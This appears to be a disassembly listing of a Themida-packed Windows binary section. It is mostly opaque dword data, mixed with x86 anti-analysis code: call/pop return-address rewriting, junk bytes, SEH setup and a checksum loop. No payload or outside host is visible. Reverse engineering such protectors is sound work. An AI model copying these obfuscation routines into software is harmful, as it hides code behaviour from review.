		dd 44810424h, 1D0424h, 57470000h, 0C7F997C3h, 50600126h
		dd 8DA63B03h, 1527D995h, 65958906h, 89061509h, 51006A1Ah
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 49DF13CAh, 6D289A93h, 0F1CB8160h, 8A3AEA3Ah,	428961CEh
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0BF2C42B5h, 8BA8F3E4h, 15286DBDh, 9D858906h
		dd 8D061506h, 151D9195h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 6A71C75Ah, 0F363440h
		dd 58Ch, 0EF816600h, 1A89A7FBh,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 66C35646h
		dd 11E9h, 47EC7800h, 0B3A19DF5h, 55F49B7Eh, 5750146Fh
		dd 42897353h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0A23BBF49h, 9589671Dh, 61507D9h
		dd 278D958Dh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 11B302C3h, 0EFB47661h, 0F88B666Ah
		dd 6A1A89h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 96E06EC3h, 0BF48190h, 89F81AD2h, 6A0442h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 89C339C3h, 151359BDh, 45952906h, 8D06152Bh, 1519D195h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 755FCDEEh, 8C0Fh, 1A890000h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 5DC35747h, 6EB1C880h
		dd 89CBBF0Fh, 6A0442h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 135C2CC3h, 7AF74F49h, 9D958D30h
		dd 6A061505h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0A78DC351h, 4586C9E9h,	1A89BD92h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0A8C35646h
		dd 847119BEh, 668E8C96h, 89B6A4BFh, 6A0442h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 3151ADC3h
		dd 1505DDBDh, 958D5E06h, 6152C69h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0EAC35040h,	0BD1DF00Ch, 0F31FC306h
		dd 6A1A89FCh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 19E9C355h, 4659C27Ah, 1DD1B501h
		dd 42890615h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8F0FC85Bh, 6, 379BD09h, 958D0615h
		dd 61519C1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	66C35343h, 8932F55Ah, 51006A1Ah, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 13135E8Fh
		dd 0CA8BA676h, 6A044289h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0C216C352h,	0FC7A05Dh
		dd 80h,	8D958D00h, 6A06150Ch, 3E85300h,	20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 20E7C353h, 0AC1AFCDFh
		dd 6890Fh, 8D890000h, 6151119h,	8C0F1A89h, 6, 6999509h
		dd 42890615h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0AC79ADACh, 1871456Fh, 8D03B864h
		dd 6152E15h, 0BBE9h, 0F1BF0F00h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 6AA8C3h, 115D8D8Bh
		dd 6A0615h, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 15h,	46C35646h, 0C1BD0198h, 6A061522h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 0FF8C5C77h, 15339D95h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0A640EC23h
		dd 0B96617AAh, 6AC3D392h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 6694C353h, 3DB5DF6Fh
		dd 6AC58Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 950131C3h, 615284Dh, 84C78166h, 6AC08BA5h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 4B4FC356h, 0A6DBE94h, 0F681AC29h,	660188FBh
		dd 8F5BD83h, 75000615h,	0ADBD8309h, 61503h, 53501974h
		dd 38B8C08Bh, 89000004h, 1502A185h, 59D8D06h, 0FF0617ABh
		dd 83585BD3h, 1503ADBDh, 17740006h, 38B85350h, 89000004h
		dd 1502A185h, 0A69D8D06h, 0FF0617A7h, 6A585BD3h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 979C356h, 0F88C04Ch,	587h, 0E9816600h, 820F2282h, 15h
		dd 10E9h, 792F3F00h, 8BE9A93Eh,	0C345F106h, 74AF2D24h
		dd 8DC08B3Eh, 15279D85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0EDE4E18Dh, 431E84B9h
		dd 0BB57A1B7h, 70A8632Fh, 0DF8B505Bh, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0E521C357h, 4999D89h, 6A0615h, 209D9D8Bh, 6A0615h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 58C35646h, 0F6FD4A91h
		dd 1185892Eh, 8D061510h, 1944B485h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 8B6679E9h
		dd 0A1BD23DEh, 83061519h, 11E805C0h, 6D000000h,	63A8FE90h
		dd 370EFAB4h, 54C5163Dh, 8E257A9h, 0EAA0BF66h, 6057505Bh
		dd 310F5250h, 0C18B585Ah, 4895F61h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 5A86B4DFh
		dd 0CCFECC15h, 8B006A99h, 1500E19Dh, 8B006A06h,	1519D99Dh
		dd 7995FF06h, 0E9061526h, 11h, 3B888B8Bh, 70BE41B5h, 220CDC6Dh
		dd 7766EC69h, 158D8D8Ah, 8B06189Ch, 57D1FFFAh, 8758589h
		dd 835F0615h, 152DB5BDh, 850F0106h, 5Bh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ah, 96C35040h, 9A0A4486h
		dd 9D8B5519h, 615343Dh,	179DBD8Bh, 26A0615h, 10E9h, 6D82D700h
		dd 256A44E6h, 5EDB8F2h,	4904846Fh, 8B6650DAh, 240489DEh
		dd 0FFDF8B66h, 151D4D95h, 95858906h, 0E9061507h, 0E8Eh
		dd 0E8h, 0ED815D00h, 61944BEh, 66DFB660h, 2192E081h, 56006A61h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0F5E6BC84h, 440AB6F6h, 88F9858Dh, 6A0618h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 6E0861C3h
		dd 0F5BAD0F8h, 0FB8B6690h, 13890F50h, 0E9000000h, 0Eh
		dd 0F8EB093Eh, 7175EAA7h, 5D79DCA8h, 6A902B25h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0D397C350h, 0CC37C740h, 32D8B560h, 3BD3DF81h, 64FC38BDh
		dd 35FFh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 8166C9C3h, 648467C7h, 2589h, 85890000h
		dd 6150591h, 0D3F9F781h, 85FF1C2Bh, 6151535h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A7C35141h, 6A7302A3h
		dd 0F1BB66FFh, 5D5BBB77h, 0B5FF5D4Fh, 6151D45h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 28C35242h, 37F18811h
		dd 3C8C0C46h, 5BD2351h,	5F061510h, 8BD95FFh, 11E90615h
		dd 81000001h, 13AD0FEFh, 0B0FC12h, 0E6F9BF0Fh, 0DBBF0F70h
		dd 8B6671E4h, 0F613CFBh, 0F383h, 5E900h, 0E8D60000h, 0FC27463h
		dd 9D0BC8B6h, 6151D19h,	6BAh, 8589FC00h, 6150461h, 9589C18Bh
		dd 61510C9h, 8904E8C1h,	150A85BDh, 0E2F76606h, 9E9h, 0E9DBF100h
		dd 0A12009E5h, 0C82B4F58h, 0DB9BD89h, 0D18B0615h, 0DE9h
		dd 0C327AE00h, 76D0E4CEh, 7E233955h, 6E9DD8Bh, 1000000h
		dd 1522F185h, 0D9858B06h, 0F061527h, 682h, 0D18D8900h
		dd 0E9061526h, 0Fh, 0CFB8B469h,	286AC9Ah, 4A469DB8h, 83B439ECh
		dd 0FB8B07C0h, 8100C083h, 166B65C3h, 0FD03B59h,	1183h
		dd 819D8B00h, 0E9061528h, 44h, 3445BD8Bh, 8D8B0615h, 615079Dh
		dd 33F99D89h, 0E1830615h, 29840F01h, 0E9000000h, 0Ah, 0EA474BC0h
		dd 0F5162D95h, 0A58335A6h, 615079Dh, 89FA8AFEh,	1527D995h
		dd 85B50906h, 0E9061503h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+618D834h]
		or	[ebp+6153415h],	edi
		push	0
		jb	loc_5BE166
		mov	edi, [ebp+61510FDh]


loc_5BE166:				; CODE XREF: Themida_:005BE15Aj
		call	dword ptr [ebp+6152E21h]
		push	0
		push	ecx
		call	sub_5BE177
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE177	proc near		; CODE XREF: Themida_:005BE16Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5BE177	endp

; ---------------------------------------------------------------------------
		dec	ecx
		sub	al, 8Ch
		fdivr	qword ptr ds:554D1FFDh
		mov	edi, 0EBA733Dh
		sub	[ebp+61527ADh],	ecx
		mov	ecx, 7AAh
		push	0
		push	ebp
		call	sub_5BE1AB
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE1AB	proc near		; CODE XREF: Themida_:005BE1A3p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5BE1AB	endp

; ---------------------------------------------------------------------------
		push	ss
		retf
; ---------------------------------------------------------------------------
		adc	al, [ecx+edi*8+640941A6h]
		fisttp	dword ptr [ebx+1510F59Dh]
		push	es
		jl	loc_5BE1D6
		mov	ebx, 0C3CFAF8h


loc_5BE1D6:				; CODE XREF: Themida_:005BE1CBj
		and	ecx, 0FFFFFFFCh
		jmp	loc_5BE1EA
; ---------------------------------------------------------------------------
		dw 1A8Fh
		dd 3495DB3Dh, 2D523235h
		db 5Dh,	0B1h
; ---------------------------------------------------------------------------


loc_5BE1EA:				; CODE XREF: Themida_:005BE1D9j
		cld
		call	sub_5BE202
		sbb	eax, 0A7246D88h
		push	esi
		db	36h
		wait
		or	al, 53h
		setalc
		cmp	esi, ebp
; ---------------------------------------------------------------------------
		db 8Dh,	0C6h, 0E9h
		db 0FAh, 0E1h

; =============== S U B	R O U T	I N E =======================================



sub_5BE202	proc near		; CODE XREF: Themida_:005BE1EBp
		mov	ebx, [ebp+6151555h]
		pop	edi
		sub	eax, eax
		mov	[ebp+6151A55h],	ebx
		sub	edx, edx
		push	0
		push	edi
		call	sub_5BE21E
		and	[edi-3Dh], bl
sub_5BE202	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5BE21E	proc near		; CODE XREF: sub_5BE202+14p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5BE21E	endp

; ---------------------------------------------------------------------------
		mov	ah, bh


loc_5BE230:				; CODE XREF: Themida_:005BE235j
		mov	ch, 55h
		inc	esi
		mov	dl, 0F3h
		db	3Eh
		jecxz	short loc_5BE230


loc_5BE238:				; CODE XREF: Themida_:005BE242j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5BE238
		push	0
		push	ebp
		call	sub_5BE24F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE24F	proc near		; CODE XREF: Themida_:005BE247p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5BE24F	endp

; ---------------------------------------------------------------------------
		db 24h
		dd 74C13858h, 9D8B0FB8h, 6152235h, 7BB5BF66h, 880Dh, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 958B4CB9h, 6152721h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 5EC35747h, 4356BAD4h,	9CCEAB7Eh, 8F0Fh
		dd 8D8B0000h, 61504CDh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 80C35747h, 0D5BB66F8h, 0C28B50F1h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 80DCC357h
		dd 6A3EE3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0B3928BC3h, 0C7A169A1h, 5850F5Eh,	66000000h
		dd 538AEB81h, 2F49BD01h, 860F0615h, 10h, 0BE9h,	1714C400h
		dd 15FF9BFh, 0C4C6BE9Fh, 18A9BD83h, 0F000615h, 9084h, 799D8B00h
		dd 0B806150Dh, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5BE387
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE387	proc near		; CODE XREF: Themida_:005BE37Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5BE387	endp

; ---------------------------------------------------------------------------
		push	ebx
		dec	byte ptr [ecx]
		sub	di, 6B8Dh
		mov	ebx, edi
		xor	di, 0A81Bh
		lea	ecx, [ebp+6154F9Eh]
		push	0
		push	edi
		call	sub_5BE3B7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE3B7	proc near		; CODE XREF: Themida_:005BE3AFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5BE3B7	endp

; ---------------------------------------------------------------------------
		or	eax, 57922707h
		jo	loc_5BE3D8
		mov	[ebp+6152725h],	ebx


loc_5BE3D8:				; CODE XREF: Themida_:005BE3CCj
		mov	[ebp+6150A81h],	edx
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5BE3EB
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE3EB	proc near		; CODE XREF: Themida_:005BE3E3p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5BE3EB	endp

; ---------------------------------------------------------------------------
		mov	eax, ds:8B6698C8h
		fld	dword ptr [ebx+151115BDh]
		push	es
		add	[edi], cl
		test	ds:6A0000h[eax], bl
		push	ebp
		call	sub_5BE419
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE419	proc near		; CODE XREF: Themida_:005BE411p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5BE419	endp

; ---------------------------------------------------------------------------
		db 47h,	7Fh, 0B0h
		dd 19E744Fh, 0BD838CA8h, 6151115h, 6840F01h, 6A000005h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 8BD8C357h, 1526859Dh, 15BD8306h, 3061511h
		dd 4A1860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0D9E698C3h, 699D011Ch, 0E8061527h
		dd 6, 4790AC6Ch, 0BF0F2A99h, 0E9605BD8h, 9, 3BC7B42Eh
		dd 5EB7F26Ah, 0D98C664Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 6DC35141h, 0AD950975h, 80061510h, 6A04E1h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0C90A8CC3h, 1AD840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0A28F1C3h, 0E9304086h
		dd 0Ch,	5335B7EFh, 32F05B29h, 0E2441EDFh, 249D858Bh, 6A0615h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 907979C3h, 68D0Fh, 0F7810000h, 5C3D8D46h, 19B58533h
		dd 8E90615h, 0F000000h,	37AD0A09h, 50908792h, 89F98B66h
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 3DE782C3h, 0F1DB99C6h, 31D1CD00h,	1500359Dh
		dd 0DE806h, 0FE0C0000h,	0EFA4240Ch, 7980345Ah, 666A9079h
		dd 5F6B85BFh, 2F05BD8Bh, 6A0615h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 67C35545h, 2F219D8Bh, 0FCB70615h
		dd 22187368h, 0FA8B66C6h, 8C240481h, 6A39FCEBh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 84F9C353h, 0E44508DEh, 6690B3C1h, 3827CB81h,	0DAD95FFh
		dd 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 42A540C3h, 998589BCh, 6A0618BFh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0BDBC356h, 47E922EBh, 6A000002h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 800BC356h
		dd 76532CB6h, 0FE9E6h, 0F9460000h, 0D1A3FC0h, 8A07EA89h
		dd 73E43F8Ah, 8D95295Ah, 8B06150Ah, 18BF9185h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0C7A43Bh, 18h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	70C35141h, 0C04C0979h, 0B58BD688h, 618BF95h, 0A319D8Bh
		dd 858B0615h, 6150C45h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 1EC35747h, 274B6002h,	7D9D8B16h, 8906152Dh
		dd 0D1BD8906h, 8B061522h, 15249D85h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 9DE1649Fh
		dd 46890A75h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 9D8973E4h, 6152FD9h, 2D999D2Bh, 60960615h
		dd 972C1BB8h, 2800F45h,	50000000h, 6650615Eh, 964BE3BFh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 58C35242h
		dd 60DFB70Fh, 9E3DBE66h, 188DB58Bh, 0FF610615h,	18BF91B5h
		dd 4E806h, 3FF0000h, 8A0F001Fh,	0Ah, 48E0Fh, 0BF660000h
		dd 0BB502CE6h, 7310281Ah, 424448Bh, 8BD88B66h, 0F98B6600h
		dd 4244489h, 2EB35250h,	5352310Fh, 585A5F5Bh, 66606058h
		dd 9785C981h, 23519D89h, 0BF610615h, 0CD4838Bh,	99858D61h
		dd 6A0618BFh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0F05C350h, 683h, 71BD3300h, 50061504h
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 3625C353h, 0F9E59928h,	0F4E19E5h
		dd 680h, 5DBD8B00h, 66061507h, 20C6EF81h, 0DAD95FFh, 6A0615h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 430B93C3h, 0C9FDEF9Dh, 0E19BD2Bh, 0F610615h,	683h, 31CB8100h
		dd 0C77893CEh, 15111585h, 306h,	1D9D8B00h, 83061529h, 18BF99BDh
		dd 840F0006h, 2Fh, 870Fh, 3FE90000h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0FFB9C350h, 66FBA6C3h, 507CCCBFh, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 9529C08Bh, 615344Dh, 28B99D8Bh
		dd 10E90615h, 2E000000h, 0E65ED801h, 8CF65BF7h,	0C6F8546Eh
		dd 838D1CEEh, 151115BDh, 850F0306h, 3B7h, 1D719D8Bh, 0BD830615h
		dd 618BF99h, 0A4840F00h, 6A000003h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 88B6C351h
		dd 8BB06DFCh, 1523999Dh, 99B5FF06h, 6A0618BFh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 7128C352h, 0D4CF80E5h, 10E195FFh, 880F0615h,	12h, 6E8h
		dd 7D2D7200h, 0F538D7Dh, 8Fh, 0B58B5F00h, 618BF8Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0C9C35040h, 0ACBDD3A2h
		dd 0E9BAF0F3h, 0Fh, 0D4BBE210h,	0DD58AF41h, 10EFBA9Fh
		dd 0C72D0011h, 1000106h, 0F1BD0300h, 5006152Eh,	6A243489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 87B1C357h, 4CB8EB49h, 0B5FF7741h,	618BF99h
		dd 2A65BD8Bh, 95FF0615h, 61506A1h, 958D31FCh, 8B06150Dh
		dd 18BF8DB5h, 0F59D8B06h, 8B061526h, 15005985h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 9B0A272Fh, 6E83DE0h,	0E0000000h, 0CA7A51C3h,	13E9A6h
		dd 0DC90000h, 42004036h, 0AA16D849h, 79FDDF27h,	6A0058DCh
		dd 86895F89h, 0C4h, 2146DB81h, 958B61D9h, 6152721h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0C0C35343h, 0FC026216h
		dd 1EE3BC2Fh, 0DF07EF81h, 0C28306F2h, 9D896004h, 6150CA5h
		dd 0FAB70F61h, 0B3205089h, 58858D4Eh, 8B0618D4h, 0B88689FAh
		dd 0E9000000h, 14h, 463C25D4h, 8113340Bh, 0C49E4115h, 764E929Ch
		dd 0FF4786ABh, 2D31B529h, 6A0615h, 8F0Fh, 0B5FF0000h, 618BF99h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C9C35141h
		dd 6850F70h, 3000000h, 150981BDh, 0A6F78006h, 1D4D95FFh
		dd 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0C19852C3h, 26523554h, 33A25966h,	1513719Dh
		dd 5096F906h, 89D5BB66h, 52006A96h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 1115D122h, 8BDD4553h
		dd 99B5FFFEh, 0BF0618BFh, 4244F709h, 72995FFh, 0F3BB0615h
		dd 83623C8Dh, 150065BDh, 840F0006h, 5Eh, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 9DC35343h, 576C929Ah
		dd 0C381B54Fh, 1C5C1F77h, 5E950h, 98F40000h, 891F49C3h
		dd 0DE82434h, 67000000h, 138C91A2h, 0B95CB2B9h,	99B80E75h
		dd 10E9h, 0B50EE800h, 0F1248726h, 0AB83019Bh, 534AC79Dh
		dd 0B5FF5BF4h, 618BF99h, 2DF8F781h, 95FF2DD0h, 6150439h
		dd 37A3BF60h, 9D0910F5h, 6150451h, 99B5FF61h, 6A0618BFh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 993FC355h, 0C8C7CB2h, 2C718D01h, 95FF0615h
		dd 6150DCDh, 0DE8h, 11758A00h, 73B89833h, 63D9E7EEh, 5FFC6177h
		dd 285DBD83h, 0F020615h, 3C84h,	65850900h, 8B061518h, 15284985h
		dd 0FB8B6606h, 12E4F781h, 0C624C2h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 8D0F4B8Dh
		dd 1, 0F585C7F5h, 61523h, 8B000000h, 152B45BDh,	919D8B06h
		dd 0E9061505h, 0FFFFF2A7h, 6AC18Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 55847C3h
		dd 74BB662Ch, 0CF816606h
		db 1Bh,	47h
word_5BED76	dw 858Dh		; DATA XREF: Themida_:0057A7F8o
		dd 615279Dh, 398D8B60h,	9061513h, 15182D9Dh, 0CF816106h
		dd 6880ED7Ch, 12E850h, 538D0000h, 0B4753F21h, 0B32C96E4h
		dd 0BAD2EB9Bh, 5FF4B5A4h, 0F7C20EBBh, 4895B6Ah,	51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 600CE4BAh, 840Fh, 0BD8B0000h, 6152789h, 6A006A61h, 0AE900h
		dd 130000h, 332BA79Fh, 2187991Ah, 54D1858Dh, 6A0619h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0E3C667C3h, 0DEA71C28h, 95892C49h, 6152219h,	8905C083h
		dd 150A85BDh, 8EB35006h, 31240489h, 15137185h, 0A810F06h
		dd 0E9000000h, 5, 5EBA8C62h, 1006A50h, 150B7D95h, 0FF006A06h
		dd 15267995h, 58D8906h,	8D06151Eh, 189C158Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 707840FEh, 80FB67C7h, 0E59D8BC6h, 8B061514h,	151A35BDh
		dd 89D1FF06h, 15303585h, 0B5BD8306h, 106152Dh, 5A850Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 335F5BC3h, 95094E0Eh, 6150321h, 9D8B026Ah
		dd 6150A69h, 14E950h, 34980000h, 807FD7CEh, 1A8F279Ah
		dd 3495DB3Dh, 2D523235h, 489B15Dh, 0F9BF0F24h, 1D4D95FFh
		dd 95890615h, 61528D5h,	0CFEE9h, 0E800h, 815D0000h, 1954DBEDh
		dd 0CE906h, 765B0000h, 2C7336FEh, 155B2CFEh, 6A01E3h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0D0C044C3h, 9D8B1A92h, 61523E9h, 88F9858Dh, 85890618h
		dd 6151379h, 24048950h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 94C35646h, 0DCC686F8h, 35FF643Fh, 0
; ---------------------------------------------------------------------------
		or	[ebp+6152F41h],	esi
		mov	edi, [ebp+6152555h]
		mov	large fs:0, esp
		xor	bx, 6960h
		jo	loc_5BEFA1
		movzx	edi, si


loc_5BEFA1:				; CODE XREF: Themida_:005BEF98j
		inc	dword ptr [ebp+6151535h]
		mov	edi, esi


loc_5BEFA9:				; CODE XREF: Themida_:loc_5BFBD0j
		push	0FFFFFFFFh
		push	dword ptr [ebp+6152F59h]
		mov	edi, [ebp+61515E9h]
		jmp	loc_5BEFCF
; ---------------------------------------------------------------------------
		dd 0DFC1A589h, 897F16D7h, 8B77BD54h, 0A8E6F944h
		db 7Bh,	0BDh, 44h
; ---------------------------------------------------------------------------


loc_5BEFCF:				; CODE XREF: Themida_:005BEFB7j
		call	dword ptr [ebp+61508BDh]
		jmp	loc_5BF0E6
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8900B0FBh, 15262595h, 758D8906h, 0E6061524h,	9E970h
		dd 0B1850000h, 0E23BFFA1h, 0E45A4984h, 11E871h,	18D50000h
		dd 5E4D9E88h, 0FA8C22C1h, 97F0A6B6h, 8BA6DA18h,	613C5FDFh
